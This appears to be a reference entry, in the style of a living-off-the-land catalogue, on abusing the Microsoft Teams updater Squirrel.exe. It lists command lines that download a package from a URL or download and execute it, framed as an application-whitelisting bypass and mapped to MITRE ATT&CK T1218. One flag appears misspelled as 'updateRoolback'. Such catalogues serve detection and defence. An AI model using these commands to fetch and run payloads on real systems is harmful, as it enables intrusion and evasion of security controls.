.. / Squirrel.exe
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Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.


Paths:

Resources:
Acknowledgements:

Download

The above binary will go to url and look for RELEASES file and download the nuget package.
squirrel.exe --download [url to package]
Usecase: Download binary
Privileges required: User
OS: Windows 7 and up with Microsoft Teams installed
MITRE ATT&CK®: T1218



AWL bypass

The above binary will go to url and look for RELEASES file, download and install the nuget package.
squirrel.exe --update [url to package]
Usecase: Download and execute binary
Privileges required: User
OS: Windows 7 and up with Microsoft Teams installed
MITRE ATT&CK®: T1218



The above binary will go to url and look for RELEASES file, download and install the nuget package.
squirrel.exe --updateRoolback=[url to package]
Usecase: Download and execute binary
Privileges required: User
OS: Windows 7 and up with Microsoft Teams installed
MITRE ATT&CK®: T1218



Execute

The above binary will go to url and look for RELEASES file, download and install the nuget package.
squirrel.exe --update [url to package]
Usecase: Download and execute binary
Privileges required: User
OS: Windows 7 and up with Microsoft Teams installed
MITRE ATT&CK®: T1218



The above binary will go to url and look for RELEASES file, download and install the nuget package.
squirrel.exe --updateRollback=[url to package]
Usecase: Download and execute binary
Privileges required: User
OS: Windows 7 and up with Microsoft Teams installed
MITRE ATT&CK®: T1218